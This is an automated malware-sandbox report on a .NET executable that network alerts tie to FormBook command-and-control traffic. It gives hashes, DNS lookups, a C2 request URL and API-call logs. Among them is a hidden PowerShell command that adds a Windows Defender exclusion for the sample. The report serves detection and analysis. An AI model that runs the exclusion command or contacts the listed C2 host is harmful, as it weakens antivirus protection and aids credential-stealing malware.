Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	July 4, 2023, 5:31 p.m.	July 4, 2023, 5:39 p.m.

Size	661.0KB
Type	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
MD5	`bbd078b0a1887a7ee952c1b8689f3cc8`
SHA256	`2a43da13d635789edfb0cd6928427911e3295c06e921cebdaa3319c7c1f65b77`
CRC32	`E3DCB5C3`
ssdeep	`12288:R7m72iNQveOlVp2So0hOmAVVOFArlqm5okVPYVtO4JwKQrPvwDi:g1CeEVpBo0DAVnbPSrZJrDi`
PDB Path	ueyp.pdb
Yara	PE_Header_Zero - PE File Signature Is_DotNET_EXE - (no description) IsPE32 - (no description)

defounder.exe "C:\Users\test22\AppData\Local\Temp\defounder.exe"
416
- powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\test22\AppData\Local\Temp\defounder.exe"
  2604
- defounder.exe "C:\Users\test22\AppData\Local\Temp\defounder.exe"
  2656

Name	Response	Post-Analysis Lookup
www.studioeminc.com	A 199.59.243.223	199.59.243.223
www.newenglandsign.company
www.vlokproducties.com

IP Address	Status	Action
164.124.101.2	Active	Moloch
199.59.243.223	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.103:49171 -> 199.59.243.223:80	2031412	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.103:49171 -> 199.59.243.223:80	2031449	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.103:49171 -> 199.59.243.223:80	2031453	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected

Suricata TLS

No Suricata TLS

Queries for the computername (7 events)

Time & API	Arguments	Status	Return
GetComputerNameW July 4, 2023, 5:31 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 4, 2023, 5:38 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 4, 2023, 5:38 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 4, 2023, 5:38 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 4, 2023, 5:38 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameA July 4, 2023, 5:38 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 4, 2023, 5:38 p.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (3 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent July 4, 2023, 5:31 p.m.			0	0
IsDebuggerPresent July 4, 2023, 5:31 p.m.			0	0
IsDebuggerPresent July 4, 2023, 5:38 p.m.			0	0

Command line console output was observed (9 events)

Time & API	Arguments	Status	Return
WriteConsoleW July 4, 2023, 5:38 p.m.	buffer: The term 'Add-MpPreference' is not recognized as the name of a cmdlet, function console_handle: 0x00000023	1	1
WriteConsoleW July 4, 2023, 5:38 p.m.	buffer: , script file, or operable program. Check the spelling of the name, or if a pat console_handle: 0x0000002f	1	1
WriteConsoleW July 4, 2023, 5:38 p.m.	buffer: h was included, verify that the path is correct and try again. console_handle: 0x0000003b	1	1
WriteConsoleW July 4, 2023, 5:38 p.m.	buffer: At line:1 char:17 console_handle: 0x00000047	1	1
WriteConsoleW July 4, 2023, 5:38 p.m.	buffer: + Add-MpPreference <<<< -ExclusionPath C:\Users\test22\AppData\Local\Temp\defo console_handle: 0x00000053	1	1
WriteConsoleW July 4, 2023, 5:38 p.m.	buffer: under.exe console_handle: 0x0000005f	1	1
WriteConsoleW July 4, 2023, 5:38 p.m.	buffer: + CategoryInfo : ObjectNotFound: (Add-MpPreference:String) [], Co console_handle: 0x0000006b	1	1
WriteConsoleW July 4, 2023, 5:38 p.m.	buffer: mmandNotFoundException console_handle: 0x00000077	1	1
WriteConsoleW July 4, 2023, 5:38 p.m.	buffer: + FullyQualifiedErrorId : CommandNotFoundException console_handle: 0x00000083	1	1

Uses Windows APIs to generate a cryptographic key (46 events)

Time & API	Arguments	Status	Return
CryptExportKey July 4, 2023, 5:38 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00730220 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 4, 2023, 5:38 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x007307e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 4, 2023, 5:38 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x007307e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 4, 2023, 5:38 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x007307e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 4, 2023, 5:38 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0072ff60 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 4, 2023, 5:38 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0072ff60 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 4, 2023, 5:38 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0072ff60 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 4, 2023, 5:38 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0072ff60 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 4, 2023, 5:38 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0072ff60 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 4, 2023, 5:38 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0072ff60 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 4, 2023, 5:38 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x007307e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 4, 2023, 5:38 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x007307e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 4, 2023, 5:38 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x007307e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 4, 2023, 5:38 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00730a60 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 4, 2023, 5:38 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00730a60 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 4, 2023, 5:38 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00730a60 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 4, 2023, 5:38 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x007303e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 4, 2023, 5:38 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00730a60 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 4, 2023, 5:38 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00730a60 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 4, 2023, 5:38 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00730a60 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 4, 2023, 5:38 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00730a60 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 4, 2023, 5:38 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00730a60 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 4, 2023, 5:38 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00730a60 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 4, 2023, 5:38 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00730a60 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 4, 2023, 5:38 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00730c60 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 4, 2023, 5:38 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00730c60 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 4, 2023, 5:38 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00730c60 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 4, 2023, 5:38 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00730c60 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 4, 2023, 5:38 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00730c60 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 4, 2023, 5:38 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00730c60 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 4, 2023, 5:38 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00730c60 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 4, 2023, 5:38 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00730c60 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 4, 2023, 5:38 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00730c60 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 4, 2023, 5:38 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00730c60 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 4, 2023, 5:38 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00730c60 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 4, 2023, 5:38 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00730c60 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 4, 2023, 5:38 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00730c60 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 4, 2023, 5:38 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00730c60 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 4, 2023, 5:38 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x007306e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 4, 2023, 5:38 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x007306e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 4, 2023, 5:38 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x007306e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 4, 2023, 5:38 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x007306e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 4, 2023, 5:38 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x007306e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 4, 2023, 5:38 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x007306e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 4, 2023, 5:38 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x007306e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 4, 2023, 5:38 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x007306e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

This executable has a PDB path (1 event)

pdb_path

ueyp.pdb

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx July 4, 2023, 5:31 p.m.		1	1	0

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (1 event)

suspicious_features

GET method with no useragent header

suspicious_request

GET http://www.studioeminc.com/fgh2/?bl=U0IQwfq+D8CYnZlYoKsq/a9q09PIzPdWtaMjr/DYVXo1p1j7mhu9HlDHDIiQpmXFj7Be5Ksz&Rx=M6hD9juxNrh0

Performs some HTTP requests (1 event)

request

GET http://www.studioeminc.com/fgh2/?bl=U0IQwfq+D8CYnZlYoKsq/a9q09PIzPdWtaMjr/DYVXo1p1j7mhu9HlDHDIiQpmXFj7Be5Ksz&Rx=M6hD9juxNrh0

Allocates read-write-execute memory (usually to unpack itself) (50 out of 167 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory July 4, 2023, 5:31 p.m.	process_identifier: 416 region_size: 327680 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003c0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2023, 5:31 p.m.	process_identifier: 416 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003d0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory July 4, 2023, 5:31 p.m.	process_identifier: 416 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73f31000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 4, 2023, 5:31 p.m.	process_identifier: 416 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73f32000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2023, 5:31 p.m.	process_identifier: 416 region_size: 2097152 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00c50000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2023, 5:31 p.m.	process_identifier: 416 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00e10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2023, 5:31 p.m.	process_identifier: 416 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00462000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2023, 5:31 p.m.	process_identifier: 416 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00595000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2023, 5:31 p.m.	process_identifier: 416 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0059b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2023, 5:31 p.m.	process_identifier: 416 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00597000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2023, 5:31 p.m.	process_identifier: 416 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0057c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2023, 5:31 p.m.	process_identifier: 416 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00a80000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2023, 5:31 p.m.	process_identifier: 416 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0046a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2023, 5:31 p.m.	process_identifier: 416 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00ac0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2023, 5:31 p.m.	process_identifier: 416 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0057a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2023, 5:31 p.m.	process_identifier: 416 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0058a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2023, 5:31 p.m.	process_identifier: 416 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00587000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2023, 5:31 p.m.	process_identifier: 416 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00586000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2023, 5:31 p.m.	process_identifier: 416 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00a81000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2023, 5:32 p.m.	process_identifier: 416 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00a82000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2023, 5:32 p.m.	process_identifier: 416 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0128f000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2023, 5:32 p.m.	process_identifier: 416 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01280000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2023, 5:32 p.m.	process_identifier: 416 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0057d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2023, 5:32 p.m.	process_identifier: 416 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00a83000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2023, 5:32 p.m.	process_identifier: 416 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00a84000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2023, 5:32 p.m.	process_identifier: 416 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0057e000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2023, 5:32 p.m.	process_identifier: 416 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00a85000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2023, 5:32 p.m.	process_identifier: 416 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00a86000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2023, 5:32 p.m.	process_identifier: 416 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00a87000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2023, 5:38 p.m.	process_identifier: 2604 region_size: 1507328 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02750000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2023, 5:38 p.m.	process_identifier: 2604 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02880000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory July 4, 2023, 5:38 p.m.	process_identifier: 2604 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72fd1000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2023, 5:38 p.m.	process_identifier: 2604 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0245a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory July 4, 2023, 5:38 p.m.	process_identifier: 2604 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 8192 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72fd2000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2023, 5:38 p.m.	process_identifier: 2604 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02452000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2023, 5:38 p.m.	process_identifier: 2604 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024a2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2023, 5:38 p.m.	process_identifier: 2604 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02881000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2023, 5:38 p.m.	process_identifier: 2604 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02882000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2023, 5:38 p.m.	process_identifier: 2604 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024ca000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2023, 5:38 p.m.	process_identifier: 2604 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024a3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2023, 5:38 p.m.	process_identifier: 2604 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024a4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2023, 5:38 p.m.	process_identifier: 2604 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024db000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2023, 5:38 p.m.	process_identifier: 2604 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024d7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2023, 5:38 p.m.	process_identifier: 2604 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0245b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2023, 5:38 p.m.	process_identifier: 2604 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024c2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2023, 5:38 p.m.	process_identifier: 2604 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024d5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2023, 5:38 p.m.	process_identifier: 2604 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024a5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2023, 5:38 p.m.	process_identifier: 2604 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024cc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2023, 5:38 p.m.	process_identifier: 2604 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02700000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2023, 5:38 p.m.	process_identifier: 2604 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024a6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Creates a shortcut to an executable file (1 event)

file	C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (2 events)

cmdline	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\test22\AppData\Local\Temp\defounder.exe"
cmdline	powershell Add-MpPreference -ExclusionPath "C:\Users\test22\AppData\Local\Temp\defounder.exe"

A process created a hidden window (1 event)

Time & API	Arguments	Status	Return	Repeated
ShellExecuteExW July 4, 2023, 5:32 p.m.	show_type: 0 filepath_r: powershell parameters: Add-MpPreference -ExclusionPath "C:\Users\test22\AppData\Local\Temp\defounder.exe" filepath: powershell	1	1	0

The binary likely contains encrypted or compressed data indicative of a packer (2 events)

section

{u'size_of_data': u'0x000a4400', u'virtual_address': u'0x00002000', u'entropy': 7.549926814092758, u'name': u'.text', u'virtual_size': u'0x000a4334'}

entropy

7.54992681409

description

A section with a high entropy has been found

entropy

0.994700984103

description

Overall entropy of this PE file is high

Checks for the Locally Unique Identifier on the system for a suspicious privilege (2 events)

